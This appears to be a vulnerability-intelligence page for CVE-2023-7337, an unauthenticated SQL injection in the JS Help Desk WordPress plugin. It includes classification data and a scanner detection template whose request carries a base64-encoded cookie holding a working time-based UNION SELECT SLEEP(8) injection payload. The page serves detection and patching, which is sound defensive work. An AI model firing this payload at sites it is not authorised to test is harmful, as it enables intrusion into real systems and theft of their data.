SecurityContext

CVE-2023-7337: JS Help Desk <= 2.8.2 - SQL Injection

Classification

  • Cwe: CWE-89
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.01427
  • Epss percentile: 0.73668
  • Not known: cpe

Metadata

  • Max-request: 1
  • Verified: yes

Labels

  • Name: JS Help Desk - SQL Injection
  • Impact: Unauthenticated attackers can extract sensitive database information, leading to data disclosure.
  • Remediation: Update to the latest version of JS Help Desk plugin.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2023-7337
  • Not known: requirements

```yaml

id: CVE-2023-7337

info:

name: JS Help Desk <= 2.8.2 - SQL Injection

author: Shivam Kamboj

severity: critical

description: |

JS Help Desk WordPress plugin 2.8.2 contains a SQL injection caused by insufficient escaping and preparation of user-supplied values in 'js-support-ticket-token-tkstatus' cookie, letting unauthenticated attackers extract sensitive database information, exploit requires no authentication.

impact: |

Unauthenticated attackers can extract sensitive database information, leading to data disclosure.

remediation: |

Update to the latest version of JS Help Desk plugin.

reference:

- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/js-support-ticket/js-help-desk-ai-powered-support-ticketing-system-282-unauthenticated-sql-injection-via-js-support-ticket-token-tkstatus-cookie

- https://nvd.nist.gov/vuln/detail/CVE-2023-7337

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cve-id: CVE-2023-7337

epss-score: 0.01427

epss-percentile: 0.73668

cwe-id: CWE-89

metadata:

verified: true

max-request: 1

tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,js-support-ticket

http:

- raw:

- |

@timeout: 20s

GET /js-support-ticket-controlpanel/?jstmod=ticket&jstlay=ticketdetail&jssupportticketid=1 HTTP/1.1

Host: {{Hostname}}

Cookie: js-support-ticket-token-tkstatus=eyJlbWFpbGFkZHJlc3MiOiJ0ZXN0QHRlc3QuY29tJyBVTklPTiBTRUxFQ1QgU0xFRVAoOCktLSAtIiwidHJhY2tpbmdpZCI6InRlc3QxMjMifQ==

matchers:

- type: dsl

dsl:

- 'duration >= 8'

- 'contains(body, "JS Help Desk")'

- 'status_code == 200 || status_code == 302'

condition: and

digest: 4a0a00473045022028b0c0083120a0f0cfea757ef9b17848da1304c5827d6d855dde39f53eb4a9a10221008e338959391b5ae4785839f2a1dbab75ab6cf9f6358aec9f1fa9d6ef94f95336:922c64590222798bb761d5b6d8e72950

```